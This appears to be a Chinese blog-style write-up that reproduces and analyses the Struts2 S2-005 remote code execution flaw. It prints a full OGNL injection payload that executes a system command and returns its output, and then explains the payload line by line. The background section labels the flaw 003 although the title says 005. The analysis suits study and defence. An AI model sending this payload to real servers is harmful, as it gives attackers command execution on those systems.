Struts2 005 Rce 漏洞复现&分析
0x01 漏洞背景
-
漏洞名称:Struts Remote Code Exploit
-
漏洞编号:Struts2-003
-
漏洞类型:Remote Code Execution
0x02 漏洞复现
payload:
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
0x03 漏洞分析
005漏洞时针对003漏洞的补丁的绕过,除了绕过那部分,其他原理与003一致,这里不再做具体分析。
在开始前,补一张图(来源:https://blog.csdn.net/u011721501/article/details/41626959)
首先来看看poc第一个参数(我做了一层解码)
('#_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(bla)(bla)
('#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)
('#mycmd=\'ipconfig\'')(bla)(bla)
('#myret=@java.lang.Runtime@getRuntime().exec(#mycmd)')(bla)(bla)
(A)(('#mydat=new\40java.io.DataInputStream(#myret.getInputStream())')(bla))
(B)(('#myres=new\40byte[51020]')(bla))
(C)(('#mydat.readFully(#myres)')(bla))
(D)(('#mystr=new\40java.lang.String(#myres)')(bla))
('#myout=@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)
(E)(('#myout.getWriter().println(#mystr)')(bla))
第一行设置allowStaticMethodAccess为true是允许调用struts2的静态方法。003漏洞的补丁之后,官方增加了该方式进行防御。其默认值是false也就无法调用静态方法达成命令执行的目的
第二行setDenyMethodExecution默认设置为true(禁止方法执行),需要关闭为false
第三行通过对memberAccess.excludeProperties进行空赋值,完成绕过,但奇怪的是本人搭建的环境当中其实这个值并不需要设置可直接执行命令并回显。
原poc中使用@符号进行静态方法或属性的调用。
#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET
前面几个属性值进行调用后,为后面的执行命令提供调用静态方法的前提,后面的poc就是正常的命令执行
('#mycmd=\'ipconfig\'')(bla)(bla)
//命令字符串赋值
('#myret=@java.lang.Runtime@getRuntime().exec(#mycmd)')(bla)(bla)
//调用Runtime执行命令
(A)(('#mydat=new\40java.io.DataInputStream(#myret.getInputStream())')(bla))
//将执行命令返回的结果流取出
(B)(('#myres=new\40byte[51020]')(bla))
(C)(('#mydat.readFully(#myres)')(bla))
//读取结果流到字节数组中
(D)(('#mystr=new\40java.lang.String(#myres)')(bla))
将字节数组内容转化为字符串
('#myout=@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)
通过org.apache.struts2.ServletActionContext的getResponse方法获取response对象
(E)(('#myout.getWriter().println(#mystr)')(bla))
对response的getWriter.println进行赋值,最后返回结果给client
org.apache.struts2.ServletActionContext.getResponse获取response对象,并将通过response对象将结果响应返回给请求者。